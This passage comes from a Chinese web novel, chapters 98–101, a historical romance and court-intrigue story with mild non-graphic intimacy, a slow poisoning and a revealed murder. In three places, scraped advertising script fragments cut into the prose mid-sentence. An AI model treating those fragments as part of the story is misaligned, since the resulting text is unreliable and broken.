枕清这下没有被江诉的动作猝不及防地吓到,她勾住江诉的脖子,抬起眼望着江诉那双清亮的眸子,看到这双眼睛这么专注缠绵地注视自己,简直像是进入了一个梦境,可又被隐含心疼的情绪所刺痛,自己好似也跟着难过了起来。 江诉,你为什么难过呢?是因为我么? 可是为什么我看到你为我难过,我也会那么难过呢? 大抵是因为不想在他眼中看到难过,即使那人是她自己。 枕清在他那双眼睛内努力找回情绪,她强作无谓一笑,抬手描摹了江诉的骨相,从眼眉顺到鼻尖,再落在唇瓣,原本哽在喉咙中的‘我好想你’呼之欲出,可她一张嘴却是,“江诉,你想不想我?” 江诉任由枕清的动作,万般珍重道:“我很想你。枕清。” 她的名字被江诉含在舌尖之上,枕清霎时感觉到心满意足,连月的殚精竭虑恰似不值一提。 枕清勾了勾唇角,心中一片柔软,她埋入江诉的侧颈,在上面落下一吻,舌尖一路向上游荡,最后轻轻含住他的耳垂,牙齿倏地咬住,小声蛊惑道:“我也想你,想你的全部,还有与我沉沦的模样。” 江诉被舔舐得浑身起了欲望,他手中抱住枕清的力气加重,呼吸猛地一沉,他旋即别有深意地侧首看着她,鼻尖在她发梢上轻嗅,哑声道:“不急,之后多得是,你与我沉沦的样子。” 他的声音恰似比枕清更为蛊惑,也更叫人痴迷到面红耳赤。枕清除了与江诉,便从未经历过人事,她发觉自己越来越激不起江诉的羞耻心,反倒把自己惹得一身臊,好像掉进了狼窝。 枕清庆幸夜色黑得很沉,看不到自己脸红的模样,她抬头看向四周,不知道什么时候,牧青已经把那么人围堵在一起,而遥遥相望的城墙上,早已插上了大启的旗帜,而枕清更是没有听到旁的多余动静。 直到有前方的来线报——“禀告长史,阿之奎等人已经退回了忻州定襄,代州已经夺回!” 阿之奎对于河东也是极为熟悉,知道代州的城池已经无法保住,选择弃车保帅,直接顺着夜色定襄。 既然能夺回代州,起码局势并不是那么地不可挽回。 所有人都齐刷刷地盯着江诉,而那些目光不由留意在枕清身上,那视线就好像一个祸国殃民的妖精,而江诉正不顾旁人的目光,把人抱在怀中。 枕清自然觉得自己担不起这样的名声,她示意江诉放自己下来,没成想江诉直接略过他们,只留下一句。 “我知晓了。今夜夺回城池,立下功劳,吩咐下去,赏。” 身后的欢呼声震耳欲聋,枕清望着江诉,只见江诉抱着她的手一直没松开,讨笑般望着枕清,道:“我也要奖赏。” 枕清:“......都依你。” 江诉有意挑眉:“嗯?” 枕清大手一挥,大方道:“今夜都依你。” 直到后半夜,枕清在房内怒道:“江诉,以后我再依你,我就是畜生!” “不要这么说,我才是畜生。”江诉吻上面颊浮起薄怒的枕清,“舒服么?” 枕清面色稍霁,哼哼唧唧道:“还成。” ——“现在呢?” ——“舒服。” 99. 酒浓入梦夜寻人(二) 此次技法战役大获全胜,太后殿下大喜过望,直接大手一挥,给江诉连升两品,给了将军的封号,手中的兵马都归江诉所管控。 所有人都只能看得到江诉,却没想到之后还有一个出谋划策的枕清,江诉觉得这事并不公允,他当即上书重新写了一份,说清事情的始末,甚至还加大夸赞了枕清,但太后殿下仿若没有看见一般,依旧没有任何表示。 这件事只有江诉知道,江诉明白这是太后殿下有意忽视,他也只是将接下来的信件都搁置在一旁,不再上表。 这件事谁也不曾知晓。 这份功劳究竟归功于谁,枕清一直没有将这件事放在心上,她心里还在想着郁华隐,早已经把消息散播出去,而代州也已经被江诉占领,不至于不敢出面相见,除非是郁华隐不在代州,而是躲到了其他地方。 这一路上从未听说过裴凌云的消息,她正想让江诉动用手中的力量,但是云行野却提了起来,他开口道:“你问裴凌云?他不是已经死了么?之前郁司马刚到三个月,裴凌云就突然暴毙身亡,我姑母倒是没有多说什么,但是她有所怀疑。” “哦?”枕清奇怪道,“怀疑什么?裴凌云一死,太后殿下不是后顾无忧了,这下竟也会担忧?” 云行野心都是向着太后殿下的,自然听出枕清的阴阳怪气,不知道为什么大家都不喜欢姑母,可云行野倒是觉得姑母无论是作为大启太后,还是他的至亲姑母,都是个极其好的人。 他瞧了一眼枕清,虽说没有责怪的意思,但也有不高兴的意味,他道:“这么多年都没有出现问题,反倒是郁华隐来了三个月,裴凌云就死了,你们又不是不知道郁华隐是女儿身,估计是憎恨姑母给她这样的职位,想出对付她的法子,那就是怀了裴家的子嗣,从而暗中培养自己的势力......” 其他的不就是效仿太后殿下一样,挟持小皇帝,临朝听政。 这话不像是云行野嘴里说出来的,反倒像是太后殿下说的,而云行野听着就学了过来。 枕清听得明白,但是她不知道郁华隐究竟如何打算,她也算错了郁华隐,之前还以为她会像上一世一样重回朝局,还想让宁千渝有个自保的把柄。 也不知道宁千渝当下如何了。 枕清不再深想,转而道:“但是又如何能确保郁华隐怀中一定是男胎?倘若郁华隐生下女胎,世人断不会接受女子称王称帝,太后殿下的担心,也太早了些许。” 云行野急道:“枕沿溪,你究竟是真不知道还是假不知道,就算是女子,她难道不会诈称为皇子么?” 枕清完全能确定这些都是云行野在太后殿下那里听来的,她翘起嘴角,反问道:“所以呢?倘若在河东境内发现郁华隐的行踪,你打算如何?” 云行野道:“自然杀无赦!” “杀无赦啊。”枕清喃喃,眸光瑰丽黑透的光彩,就好像是九天揽月的神仙,也像是九泉之下的恶鬼。 叫人琢磨不出味道,一步之间,一脚踩上天庭与地狱两道,就看枕清如何选择。 猛地回觉,云行野察觉到自己多说多错,他转向江诉,江诉没有看云行野,而是望向枕清,眸中隐隐有担忧。 云行野才会想到先前姑母让他防备一个叫北肆姝的人。既然枕清的身份已死,那么江诉身旁再无旁的女子,那么这个北肆姝究竟是谁? “枕沿溪,你现在叫什么名字?”云行野问。 枕清缓缓一笑,那笑容是前所未有地温和模样,仿若给他是另一个人的模样。枕清声音缓沉而轻慢:“北肆姝。” 云行野:“……” 云行野责怪幽怨地瞧了一眼江诉,江诉回避过云行野的神情,丝毫没有觉得任何不妥当的意思。 这件事对于枕清而言,并没有所想的那样意外,如果说有云行野在这里,郁华隐不出来,倒是情有可原,只待时机成熟,等郁华隐独自想通就可以了。 但是真如云行野所说,在第三个月的时候,裴凌云便已经死了,那么郁华隐怀有身孕到现如今,怕是已经有两岁。 枕清狐疑地望向外边,不知道郁华隐究竟作何打算。 江诉走前几步,这几日隐隐有步入寒秋的样子,目光所及之处都是枯枝烂叶的模样,过分萧条了些,他轻轻把枕清拢在怀中,小声道:“这一次,我不想再让你独自一个人,你一个人在河东,在阿之奎底下,你知不知道我有多害怕。” 枕清感受身后那人坚硬温暖的胸膛,突然嘲笑道:“阿之奎不是你的弟弟么,你竟然也会有害怕的时候,我以为我能在他手底下,安稳这么多时日,都是你与齐离弦的功劳,原是我想错了。” “他不喜欢我,自然不是看在我的面子上。”江诉道。 这两人的关系恰似如同水火,她看向江诉,终于问出了许久以来的疑惑,“江诉,在长安郊外,你喂给我的那颗解药,是从哪里拿来的?” “陈琅,陈无极。”江诉知道枕清不会无缘无故问起,他疑惑道,“怎么了?有毒?可是他当着我的面吃了下去,而我也吃了一颗,并没有什么问题,这才拿给你的。” 居然是他。 陈琅的眼线还真是无处不在。 枕清勉强地笑了笑,扯开话题道:“我还以为是阿之奎给你的,毕竟在那时候,我只觉得阿之奎才有解药,没想到陈琅也有啊。” 江诉问:“你怀疑他和阿之奎有交集?” 枕清小声道:“我不知道。” 这件事本就复杂,牵扯到的人实在甚广,或许是陈琅去求阿之奎也说不准,可是这样,是不是表明陈琅与阿之奎在背地里交涉过,还是说,只是在代州先开始的。 可是这件事也绝无可能。 陈琅与李檄的关系这么要好,他怎么会联合阿之奎让李檄身陷其中,最后落得如此下场,眼睁睁看着河东完完全全沦陷,而且在李檄动作的时候,他也是跟着再三劝阻,那副担忧的模样,更不像装出来的。 但是为什么,她在阿之奎那里后,就再也没有看到过陈琅出现,直到今天,也没看到人,而且应钰在来往的信件中并未说河东盐池出现任何纰漏。 河东道所有人都受了影响,阿之奎怎会放过这金钵钵的盐池。 她又想到了阿之奎所说的——那个人不会伤害你的,所以你也不用担忧害怕。 这背后之人,是陈琅么? 一件事的怀疑有了开头,那便终日都会在这样的怀疑猜测中游荡,她心头升起细密的难受,不可抑制地回看身后的江诉,轻轻道:“江诉,我可以一直信你,对么?” “对。”江诉肯定道,“倘若我利用你来达到我自己的目的,那就......” 枕清忽地踮起脚尖,吻上江诉的唇瓣,堵住江诉之后要发的毒誓。江诉见状,顺势俯身,伸手揽住枕清的腰肢,微微用力上抬,两人贴得极其近,近到密不可分。 辗转缠绵,像是漫长到能望见一辈子的模样。 良久后,枕清在江诉身前气喘吁吁,她大脑已是大片空白,被残存的温热所代替,都是他们吻的感触。 枕清努力找回自己的声音道:“我信你。江诉。”她做了一个最坏的比喻,“如果你骗了我,那么我要带着你一起死,我的心肠很坏,倘若我们之间只是平凡的过客,没有任何交集,那么你做任何事情,我都不会在意,可我们一旦发生了独一无二的联系,我的控制、欲望便会猛烈滋长。你只属于我,完完全全属于我,永远都不能背叛我,当然,我也完完全全属于你,永不背叛你。” “好。”江诉应声。 他来到这个世界,三观、心态都已经被扔回去重新塑造了。枕清所讲的这些事情,换作以前,他或许不能接受,觉得彼此都是一个独立的个体,可是发生那么多事情,经历无数次背叛,身旁的人一个又一个地离开,已然到了一个极度敏感的地步。 他们之间需要完完全全的依靠,完完全全的信任,不分你我。 江诉探身前去,鼻尖相抵,彼此的气息交错相缠,他温声道:“以后,你靠着我,我靠着你,你走歪了,我牵着你,我走歪了,你拉住我。” “好。”枕清仰脖,沉沉闭眼,感受江诉如同雨滴般,点点滋润到她心底。 这个世界上的局势瞬息万变,究竟谁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 又能走到后面,他们并不在乎,只要身边的人是彼此,那便是最好的结果。 - 陈琅是在三天后出现的,像是死里逃生的模样,身旁还带着小顺子,俨然就是一起被关押起来的样子。 枕清不太喜欢两个聪明人都瞒着彼此的意味,她看向小顺子,又瞧了瞧陈琅身后的小厮,陈琅非常有眼见力的知道枕清今日的情绪并不高涨,他挥手让那两人退下。 见人完完全全走了后,枕清这才开口说话:“你当真是青灯古佛终老一生?” 上回的谈话距今已经许久,没曾想枕清居然还记得,或许也是上回他说的那些话出了纰漏,所以让枕清引起了怀疑。 他笑着道:“真的。你有任何疑惑或者不解,直接问出来,我知道你的性子,憋在心里不舒服,一定要清楚明白。” 他们两人自小长大,很多性子早在小时候就已经定性,所以陈琅真的很了解她,又或者是,她做的许多事情,对于陈琅而言,都已经猜测得到。 既然陈琅让她问,无论最后答案是真是假,她也要问个明白,道:“长安郊外疫病那次,你给江诉的那颗解药哪里来的?你又是怎么认识江诉的?” “这个啊。”陈琅开嗓道,“你也知道疫病那次的解药只有阿之奎有,我是在他那里买来的,花了重金。不是我认识江诉,而是我师祖认识江诉,从而引荐我们相识。我师祖是妙严寺的方丈,很有名的,你要不要也去求些东西?” 枕清瞧了一眼他,思绪不由被打断,她问了个题外话:“江诉去求了么?” 陈琅见枕清这般没出息的模样,简直恨得牙痒痒,他伸出食指点了点枕清,怒其不争道:“看我师祖那般模样,是求了吧,不过求的什么我也不知道。” 枕清听罢,正色道:“那你和阿之奎不熟悉?甚至从来没有一起谋划打算过任何东西?” “当然。”陈琅坦荡道,“你要是不信的话,那我就对你发个毒誓成不成?” 他的声音散漫中满是坦荡,要将枕清的怀疑全部打散,枕清没有出声阻止,只是静静看着陈琅,陈琅忽地轻笑,眼中闪过极浅的痛色,随后面色如常地指天发誓,“我陈琅今日在此立誓,我今日对枕清所言句句属实,如果我骗了枕清,那就让我被心爱之人穿心而死,永无葬身之地,入十八层......” “够了!”枕清打断他的话,“我信你,陈无极,我说信就是会信,你知道我的脾气。” 陈琅笑着道:“我知道啊,我一直都知道。” 说完,陈琅又没了正行,他锤了锤自己的腰间与背部,哀叹道:“这段时间真是累死我了,小时候在雷州都没这么苦过,睡了好几天的猪栏跟马厩,浑身一股味,真是让人厌烦。” “你怎么睡那里去了?”枕清奇怪道,“你不是有钱么?难道还不能使鬼推磨了。” 陈琅伸出手左右摇摆道,“财不外露,倘若是小富倒也还好,谁叫我这般有钱,要是他们贪心不足蛇吞象,那岂不是要把我自己给玩进去了?不稳妥。” 枕清想想也是,他们那些年在雷州,什么险恶的事情没经历过。枕清微微眯眼打量他,半晌后突然笑出声儿来,她道:“有了钱就是不一样啊。” 陈琅惬意地哼唧道:“自然是的。” 枕清:“河东盐池呢?阿之奎为何没动?” “自然是因为一动,盐池运作不了,他只得靠服着我,这不,刚开始给我扔到马厩里,后来就好吃好喝地捧着我。”陈琅指了指外边的小顺子,“不信你去问他,他总不能也被我给收买了吧。” 被里边人指了一下的小顺子觉得莫名其妙,他站在外边可是动都不敢动,瞧了瞧人又走远了去。 枕清压根没想要去问小顺子,她这些日子也挺疲惫的,淡淡道:“你帮我找一个人。” 现如今代州都是江诉手底下的人了,他倒是挺想说一句你去找江诉,可又觉得枕清这么说,一定是这个人不可以通过江诉手底下的人去找寻,于是默默将话咽了下去,应声道:“好。那人是谁。” “郁华隐,她身边应当还有一个男孩。”枕清道。 100. 酒浓入梦夜寻人(三) 接连这一年都在战火纷飞中度过,一下子又到了年关。一年又过一年,时间仿佛过得很快。 天空中飘起了皑皑白雪,枕清陇了陇外衣,走出在院子之外,望着无尽灰蒙蒙的天色,她突然觉得喉咙爬上痒意,胸腔咳嗽了一声,不料这声咳嗽让自己咳得不停,仿若是把整个胸腔都要震碎。 她的腰身因为动作而被迫弯下,手中捧着汤婆子微微用力,从手中滑落雪地之中,砸成了一个坑,身后的齐离弦见状不对,赶紧走了上来,蹲下身子捡起汤婆子,递到枕清手中,枕清的咳嗽声并未因齐离弦的到来而停止。 枕清微微侧过身子,不让自己正对着齐离弦,她拿出帕子,捂住自己的唇瓣,突然呕出一丝丝血,她面无表情地合上手帕,面色苍白地勾起唇瓣,缓缓看向还在拿着汤婆子的齐离弦,伸手接过。 她的胸腔还在作痛,齐离弦担忧地看着她道:“你这是怎么了?” “咳嗽而已,不碍事。”枕清的腰身直不起来,她缓缓道,“你怎么过来了,现在这样的天气,不利于行军作战,难不成阿之奎又有所动作了?” 一见到她就怀疑是阿之奎的动作,这叫齐离弦哭笑不得,她抬手扶助枕清的身子,道:“难道我一来就是阿之奎有所动作,这次不是她,而是郁华隐,她在代州内,但不敢现身,只叫一群孩童把信件送到府中。” 闻言,枕清当即握住齐离弦的手,她在心中飞快地安排起来。 郁华隐不敢出来相见,自然是因为有云行野的存在,可是现下云行野已经过了楼烦关去了岚州,正在步步紧逼阿之奎退回。 都已经是如此地步,这又是为何,枕清悠悠想着,或许是因为郁华隐没有摸明白枕清的意思,如果枕清与太后殿下一道,那么就是自投罗网,把自己往死路上。 彼时的朝局因有外敌入侵,上下都是沆瀣一气,倘若是搅乱了朝局与党派,那便是内忧外患,换做大启的每一个人都不愿意看到这样的场面。 所以郁华隐也能猜测得出来,更是不敢信,所以这才出现有小乞丐给她送信的意思。 她紧紧握住那张纸条,打算孤身一人去见面,却听到一道脚步声走来,很稳,亦很慢,江诉的声音缓缓传来:“是郁华隐么?我陪你去,她应当不会阻拦。” 枕清回首看着江诉,她目光留意在腰间的玉佩上,已经没有了香囊,她轻轻一笑道:“好。” 香囊的事情,枕清没有说,但是江诉依旧是知道的模样,枕清明白自己的毒性已经深入骨髓,这人是从小就在她身上下的毒,已经避无可避。 “江诉,你是发现了我已经不需要任何香味了么?”枕清捧着手中的温热,淡淡道,“还是说你不想让我依赖这抹香味?” 江诉道:“都有。” 江诉伸出手握住枕清的手,将冰寒刺骨的手放在自己手心捂热,他的声音平缓:“这些日子我想了许多,你是不是知道陆佑善在上一世对你下毒了?陆佑善跟我说她的毒没有那么快让你发作,所以在此之前,或者是在此之后,你就已经中了毒。” 言语至此,江诉已经不想再说,可是他还是逼着自己继续道:“枕清,在上一世你与我的最后一面,你点燃那支香,是不是因为我?因为你见到的人是我,所以你觉得自己可以安心地死去,最后故意死在我怀中,想让我难受一辈子?” 很多事情都有迹可寻,但是江诉在此之前并未多留意,却因为枕清的身体每况愈下,他心中更是不安,害怕重蹈上一世的覆辙。 枕清静静地听着江诉说完这么一大段话,她的面色比雪色更盛三分白,整个人看起来出奇的空灵,就好像是林中的幼鹿。 她扯了扯唇瓣笑道:“我不是说了么,我要你永远记住我,我这不是做到了吗?”说完她还抬头看向江诉,发现江诉出奇地冷静,甚至没有一星半点的笑意,就连往日的温和都看不见,她这才发觉自己的死的确对江诉造成了极大的伤害。 只好讪讪收回视线,她的心思的确被江诉猜测的一干二净,可她没有被发现后的担忧与窘迫,甚至还有一点怡然的惬意,因为知道江诉是真的爱自己,所以仗着这份爱,有恃无恐。 她无奈道:“下毒的这个人,这招棋走得太早了,甚至在我还是什么都不懂的孩童时就已经开始下了。我知道这香味是梅海的,所以梅海死的那一日,我依旧不信他死了,是因为他所作的伏笔太早,早到我毫无防备,我不信他就这么简简单单的死了,不然他身后还未走完的棋局又该怎么办?” 江诉也有所怀疑,他定定地望着前方,手中的动作不由自主地轻轻安抚摩挲,他道:“如果你的毒是梅海下的,符家的人是他杀的,而你相识的二当家陈琅是梅海所提拔的,你有没有发觉,这些事情都围绕着一个。” 枕清不由自主地挑眉:“我?” 江诉道:“是你,也不是你。是你的姓,枕。” 梅海所作所为都是为了枕家,就好像是一个最忠诚的下属,待事情完成,一切都可以安稳推进。 枕清心中好像有了一番挣扎猜测,结合小顺子的话,疑惑道:“我听小顺子说当初枕家的灭顶之灾是因为枕家有一座金矿,所有人都想要得到那个地方,就连朝廷也不意外。可是梅海如果是真想要这个东西,那么他大可不必走到这一步。” 会不会其中还有被遗漏的地方,只是枕清不知道,也没有想起来。她甚至又怀疑梅海并没有死。 “他死了,梅海真的死了,符生枝甚至鞭了尸,没有任何问题。”江诉断绝了枕清的想法,“或许就连他自己也没想到会在那时候死,因为你与姊姊的存在,所以让他的动作不可避免地转了个弯。” 很多事情本就不能按照自己所想那样发展,江诉知道枕清关心那些事情,可是江诉更关心枕清身上的毒。 他微微侧头瞧她,眸中携着无尽的温柔,嗓音清醇:“枕清,你这个毒真的没事么?需不需要给你找个郎中看看病?” 枕清顿时警惕了起来,她压下胸腔想要咳嗽的声音,扬起唇瓣道:“上一世我吃了陆佑善的毒都活了好几年,这回没有吃她的毒,自然更能活得长久。我们到长安再回去找义宁看吧,他厉害。” 江诉明白枕清这是想要推辞,他握住枕清的手,如同在哄小孩那般道:“但是大夫已经到了府中,先去看,明日再去郁华隐那里,也不耽搁。” 看似询问和商量,其实早早就已经安排好了,枕清当即清楚彼时的状况,抬脚就想走,只见那道高挑的身形远远走来,甚至还有些许熟悉,直到看清那人的脸,枕清不由愣住,居然是陈谷。 没想到他居然开始做起了行医的行当。 陈谷也没想到江诉的夫人居然是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 已经“故去”的枕清,他正怀疑忧思中,却被枕清一语就肯定了身份,犯不着他再揣测试探。 是个爽快人。 枕清慢悠悠道:“你这医术,让我着实是不敢信,没想到江诉居然把你找过来了。” “你可别小看我,我可是在河东救死扶伤了上千人,那些人见我都要喊我一声医圣,怎么在你口中我就变得这般不值钱。” 陈谷放下肩膀上的医箱,他拿出一个诊垫,示意枕清将手放上去,随后刚想要抬手去摸上枕清的脉搏,但是忘记了江诉还在,于是在这两人的目光中,重新拿出了一个崭新且绣着木兰花的手帕道:“夫人,最近可有什么不适。” 医者面前不说谎,可是旁边还有个江诉在盯着,她清了清嗓子,模棱两可道:“最近有些咳嗽,可能是天寒地坼的,感染了风寒。” 陈谷摸了摸脉搏,叫枕清伸出舌苔,他不由拧起眉头来,他不是没见过这种症状,有些难言之隐,他瞧了一眼江诉,又看向枕清,恰似不知怎么开口。 随后收起医箱,他正色道:“你是不是中了毒?而且这毒伴随你许久,而你也戒断了许久,起初是疼痛难耐,仿若上瘾,难以抑制,可随着时间越久,这样的反应是不是越来越少,让你觉得已经截断成功。” 这些事情都被陈谷说对了,枕清颔首道:“如你所说这样。” 陈谷无语地轻笑一声,声音含着狠意,那狠意却不是对枕清,他不屑道:“对你下毒的这人倒真是狠毒,你需要一直依附着那抹香味,如果独自戒断,身体会每况愈下,直到死去。”陈谷哑口无言,“可是你依附着那香味,虽然这毒性慢,可是你最后也是会死,早晚而已。” 江诉的手搭在枕清的肩膀,内心五味杂陈,他问道:“这是什么香,难道没有破解之法?” 陈谷收起东西道:“倒也不是没有,只不过枕清这脉象极其古怪,身子骨差劲极了,可是身体每处运作都算完好,是不是因为提前用过某些药,抑或是你放过血?” 这具身体究竟经历了什么,只有枕清自己知道,之前中了蛊毒,那位老者确实对她放了血,甚至把她身体每处都重新塑造,他对枕清讲了两句话: “你这身子骨虽然没一处好的,可是也是另一次的新生。我和禹王说你活不过三十,虽然确实也是如此,但是你的韧劲又非常人所及,就看你怎么走了。” 枕清垂下眸子,突然道:“我中过另一种毒,放过血,两毒并不相容,却也没把血放干净,所以都残留在体内,即使没排出去,也不受影响,陈谷,你在把一下的我的脉搏,是不是又是与方才不一样?” 陈谷依言动作,他依旧皱眉,不知道是不是枕清所说的起了见效,虽然身体内有两股相撞,可是都被枕清所压制下来,偶尔的不舒服但也无伤大雅。 他眼神不禁一亮,问道:“所以那个老者究竟是谁?他倒是厉害,带我引荐一下。” “在长安,你又不愿意回去,见不到的。”枕清收回手,原来早在之前就被老者发现了,枕清不知道该怎么说了,他竟然能瞒她那么久,怪不得还能给她这么多来日奔波造作,换在之前,说不准她早就死在路上了。 至于陈谷,他若是真的想要待在长安,就不会来到这么危险的河东,她说完这话,陈谷只是静静地瞧了一眼枕清,随后就拿着东西离开了。 101. 酒浓入梦夜寻人(四) 把完脉的枕清走了,江诉实在不放心地再次去见了陈谷,陈谷说枕清体内有两股毒,相互克制,暂时无碍。 说完,陈谷意味深长地瞧了一眼江诉道:“估计是当初在禹王府那日金蝉脱壳,被那位老者放血所搭救,她这个毒用得深,不是一般人能辨认出来的,我之所以会知道,是因为我家藏书无数,曾经见过各种疑难杂症。” 江诉听罢,当即就明白陈谷的意有所指。 他的目光似有若无地朝门外一道纤细的身形一打量,继而目视陈谷,猜测道:“这个人,深藏不露?” 陈谷自然也发现江诉的视线,他在心中稍作思量,却见江诉没有任何表示,他试探道:“是,也不是。”在江诉的神情中确保门外的人无需担忧后,继续道,“世上隐匿在坊间的神医也有,不过知道这毒药的,我敢肯定只有太医署的人才清楚,他究竟是哪里的人,还有给枕清下毒的究竟是谁,我不能完完全全地确保,但起码是宫内抑或是朝廷有关的人。” 如果是与皇宫或是朝廷的人有关,那么应该不是梅海,身后更是另有其人。 和枕家相关的,还有能这么早就在枕清身上下了毒的,好像只有那么一个人。陈谷与江诉互相对视,心中有一个猜测,却又不能完全确定。 站在门外的枕清推门而入,她望着那两个男人齐齐看着自己,甚至没有任何的意外模样,枕清翘了翘嘴角,她眼中的精光隐去,换做另一番平和的模样,带着些许无奈道: “我知道你们怀疑禹王,但我能确定不是他。因为就是他与那位老者帮我解了毒,如果是他下的毒,又何必如此来来回回的重复,从而失去这样控制我的把柄?” 枕清见到他们有被自己猜到的窘迫,神情舒展,知道他们已经起了疑。方才她见到江诉跟着陈谷走了,察觉到江诉一定是要问清楚自己的状况,不过枕清也想知道他们两人究竟要说什么,于是跟了过来。 陈谷放下手中的杯子,江诉则是走身上前,他抬手扫了扫枕清肩膀上落下的三分雪,他温和道:“我知道,这件事我们总会查出来的,你现在就是先把身子养好。” 枕清微微侧头,看向江诉指尖在自己脖颈与面颊处划过,她唇瓣扬起一个极轻的弧度,把自己整张脸都埋进江诉的手掌内,似依恋又像是靠近,道:“我知道了,但是,但是你也别太过担忧了。” 一旁的陈谷满脸玩味,慢慢悠悠地踏出屋子,喉咙哼出一个腔调。 如果仔细听,应当男欢女爱的山歌。 翌日一早,枕清早起,拿了那一张图纸,带着江诉去找了找郁华隐所居住的住所。 郁华隐所居住的地方稍加偏僻,枕清坐在马车内,倒也没觉得什么,反倒是马车行驶得越来越远,叫人偏生出一股怪异的感觉,她慢慢地掀开帘子,看向荒无人烟的外边,等到了一个村子中,像是进入了世外桃源。 有外人见到他们进来,神情非常的警惕,知道郁华隐出现后,那些的神情才稍加变好。 枕清的抬手掩唇,目光不由自主落在郁华隐身旁的孩子身上,那孩子见枕清望了过来,怯生生地躲在郁华隐身后,满是疑惑后的担忧,却又忍住好奇,探身看向枕清,甚至连路都有些站不稳。 如果按照郁华隐离开所算,这个孩子大概也有两岁了。 “你的孩子?”枕清问。 郁华隐朝村中的人一一道了谢,将枕清与江诉带到自己的房子内,略有不好意思地说:“这个地方着实简陋,你们将就坐一下吧。” 枕清瞧了一眼四周,屋内虽然看起来昏暗,但是每一处的摆放布置都非常的简洁干净,看得出是爱干净的人。 “还好。”枕清说,“不用忙活了,我想我们先谈一谈。” “你们都来了,不急这么一时半刻,就先让我为你们倒一壶茶水吧。”郁华隐身穿钗裙,面无粉黛,原本的英气不知道是不是因为做了孩子的母亲,竟然看不到了,甚至还有柔软的温柔,与往日的郁华隐判若两人。 枕清伸手接过郁华隐递来的茶盏,微微抿了一口,仿若诉家常道:“味道还不错,自己晾晒的吗?” 郁华隐瞧了一眼枕清,眼睛微微泛着温热的亮光,她点点脑袋,转身去安抚咿咿呀呀要哭的孩子,江诉也问了一下茶,待郁华隐逐渐走远,他诧异问枕清道:“你还懂得品茶?” 枕清点了点杯沿,散漫道:“这里距离州城那么远,又是极其荒芜僻静,看不到一家店铺子,自然不可能是她从别的地方买来的,那么就是自己晒的,抑或是旁人晒的送给她的,不过你看一下旁边的簸箕,应当是她自己晾晒的。” 早就知道枕清心思细腻,很多东西与事情更是张口就来,他跟着笑了一下,看着外边的郁华隐将手中的孩子递给隔壁的邻居,随后着急地跑了回来。 枕清站起身来,担忧道:“你慢点,我们又不会跑了。” 郁华隐笑着道:“我这是盼星星盼月亮,终于将你们盼来了,自然是要着急一些,我知道你们有很多事情不知道,想在我这里问个清楚,我现在人就坐在这里,你问吧。” 大家都是直白坦荡的人。 “方才给我茶盏的时候还说不急呢,现下没过一会就开始着急了?”枕清揶揄她,也不拐着弯说话,直接指了指外边的那个孩子道:“是裴凌云的?” 郁华隐道:“是他的。” “人怎么死了?是你动了手,还是说是太后殿下杀了人?”枕清别有深意地望着郁华隐,她的话语坦白中带着试探。 在云行野的口径中是郁华隐杀了人,可是在郁华隐面前,她又给了太后的选择,倒也不是她不信郁华隐,不过她还是想要两番对比下来,看看这两人说的究竟是不是一样。 郁华隐心中起了一丝挣扎,她望着枕清,否认道:“不是我,是裴凌云被刺杀了,但是不知道为什么,那些人都要把罪责推脱在我身上,我不得已跑到了这个地方。我和裴凌云虽然有纠葛,但我也不至于做出杀人的事情!” 枕清垂首,复而抬起,眸中是一如既往地平静,她开嗓问道:“既然如此,那你为何与裴凌云进展如此之快,不到三个月就怀有身孕?其中是不是有你的引导我不知道,但是你也绝不无辜。” 此话一落,郁华隐的手顺势搅成错乱的动作,她心中不免狂跳,愣怔地抬眸望向枕清,是前所未有的茫然无措,枕清站起身,她微微冷笑,声音是前所未有的冷冽,仿若直直刺入她的心。 枕清沉声断定道:“郁华隐,你说谎!” 你说谎! 郁华隐的脸色瞬间一阵青一阵白,喉咙更是苦涩得发疼,她眼睫猛然一颤。 是了,她不应该骗枕清的,枕清何曾聪明,一点蛛丝马迹都能把人找出来,她也跟着勾勒出勉强地一点笑意,苦笑道: “果真是还是没有骗过你,人的确是我杀的,上一世他也害死了我,所以我们这算是一报还一报。沿溪,你不也杀了张宣晟么?怎么换做是我就不行了。” 闻言至此,枕清突然觉得自己有些可笑。 “我并没有怪你杀了裴凌云,只是我在怪你欺骗我!郁华隐,我今日之所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以还来这里,就是念在我们之前有着过命的旧情。” 枕清迫视郁华隐,“裴凌云死了又和我有什么关系,就算他在你手中死个千遍万遍我都不会多说一句,但是你得告诉我,你究竟想做什么?我不想被你当成什么都不知道棋子,被你驱使利用!你应当知道我最讨厌被旁人当成一颗棋子。” 说完,枕清的胸腔微微颤动,她见郁华隐隐忍不发,她的怒意遽然上升,冷声揭穿她: “你不就是怨恨裴凌云怨恨太后!你利用了裴凌云让自己怀孕,从而对他痛下杀手,利用裴家仅存的血脉将太后拉下位,你这些心思和我明了地说清楚有这么难么?郁华隐,你对我说这些真的就这么难么?” 枕清的难受不是作假,因为她们也曾在深夜中畅怀讨论过,甚至做梦似的说女子也可以封侯当官。明明那时候的她们如此意气风发,怎么几年不见,一切都变了样子,就连一句想要的真话都不敢在彼此面前说了。 白云苍狗,人世变迁。 原以为这个世界上多了一个懂她的女子,结果最后成了她一个人。 郁华隐被枕清的神情刺痛她霎时间竟也不知道如何开口,她觉得自己浑身骨头都在疼,外边还有婴儿的啼哭声,不知道是不是里边的氛围打搅了她。江诉知道她们两人有着旁人道不清看不明的情绪,他选择站起身朝外走去,伸手接过那个孩子。 那孩子竟然也不哭了,笑开怀地盯着江诉,江诉跟着温和一笑,仿若在他身上看到了可以初为人父的影子。 郁华隐回过神来,她重新望向枕清,心中满是痛恨怨怼:“因为我怕你觉得我心狠手辣,恶毒至极!我的确厌恶太后,甚至想让她从高位摔进阎王殿前!她在我去往廉州的那一日,她就已经开始打算对我爹爹下手,就因为我是女子么?就因为我能威胁到她的地位?当真是可笑。” 郁家不在了,郁华隐没有家了。 枕清心脏倏地一停,她极轻呼吸,心疼地望向郁华隐,这种事情对于枕清而言,是棘手的,因为就连她自己也没能好好地沉下心。 